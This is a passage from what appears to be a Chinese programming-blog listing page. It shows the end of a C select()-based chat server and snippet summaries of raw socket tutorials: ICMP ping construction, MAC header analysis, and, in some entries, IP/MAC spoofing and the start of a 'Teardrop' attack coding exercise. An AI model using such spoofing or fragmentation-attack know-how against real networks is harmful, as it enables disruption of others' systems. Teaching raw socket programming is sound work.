                                        if(send(j, buf, nbytes, 0) == -1)
                                        {
                                            perror("send");
                                        }
                                    }
                                }
                            }
                        }
                    }  //END handle from client
                }  //END got new incoming connection
            }  //END looping through file descriptors
        }  //END for(;;)--and you thought it would never end!
        return 0;
    }
    
    展开全文
  • 面向IP层的原始套接字编程 socket(AF_INET,SOCK_RAW,protocol) [1]. protocol字段定义在netinet/in.h中,常见的由IPPROTO_TCP IPPROTO_UDP IPPROTO_ICMP IPPROTO_RAW [2]. 构建原始套接字时protocol字段不能填0...
  • 因此想使用原始套接字进行编程,直接构造数据包,并在IP层进行发送,即采用SOCK_RAW进行数据发送。使用SOCK_RAW的优势是,可以对数据包进行完整的修改,可以处理IP层上的所有数据包,对各字段进行修改,而不受UDP和...
  • Linux网络编程:原始套接字编程及实例分析 一、原始套接字能干什么? 二、原始套接字编程 三、原始套接字实例:MAC头部报文分析
  • 原始套接字编程和之前的 UDP 编程差不多,无非就是创建一个套接字后,通过这个套接字接收数据或者发送数据。区别在于,原始套接字可以自行组装数据包(伪装本地 IP,本地 MAC),可以接收本机网卡上所有的数据帧...
  • 熟悉原始套接字编程的基本流程 理解ping程序的实现机制 理解ICMP协议的基于作用和报文格式。 完成原始套接字的配置。 【实验内容】 1.构造ICMP协议首部结构 2.构造ICMP回射请求结构。 3. 构造ICMP回射应答...
  • 6、多路复用——select() 功能:用来检测一个或多个套接字状态。 格式:int PASCAL FAR select(int nfds,fd_set FAR * readfds,fd_set FAR * writefds, fd_set FAR * exceptfds,const struct timeval FAR * timeout)...
  • 原始套接字编程实例

    2017-11-08 02:20:00
    原始套接字编程实例 #include <stdlib.h> #include <stdio.h> #include <errno.h> #include <string.h> #include <unistd.h> #include <netdb.h> #include <s...
  • 12linux原始套接字编程
  • linux_sock_raw原始套接字编程
  • 因此想使用原始套接字进行编程,直接构造数据包,并在IP层进行发送,即采用SOCK_RAW进行数据发送。使用SOCK_RAW的优势是,可以对数据包进行完整的修改,可以处理IP层上的所有数据包,对各字段进行修改,而不受UDP和...
  • 基于原始套接字编程

    千次阅读 2015-09-06 16:23:21
    基于原始套接字编程  在开发面向连接的TCP和面向无连接的UDP程序时,我们所关心的核心问题在于数据收发层面,数据的传输特性由TCP或UDP来保证:  也就是说,对于TCP或UDP的程序开发,焦点在Data字段,我们没法...
  • 原始套接字编程”中的Teardrop代码编程 (1)实验代码: #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <netdb.h> #include <...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 1,331
精华内容 532
关键字:

原始套接字编程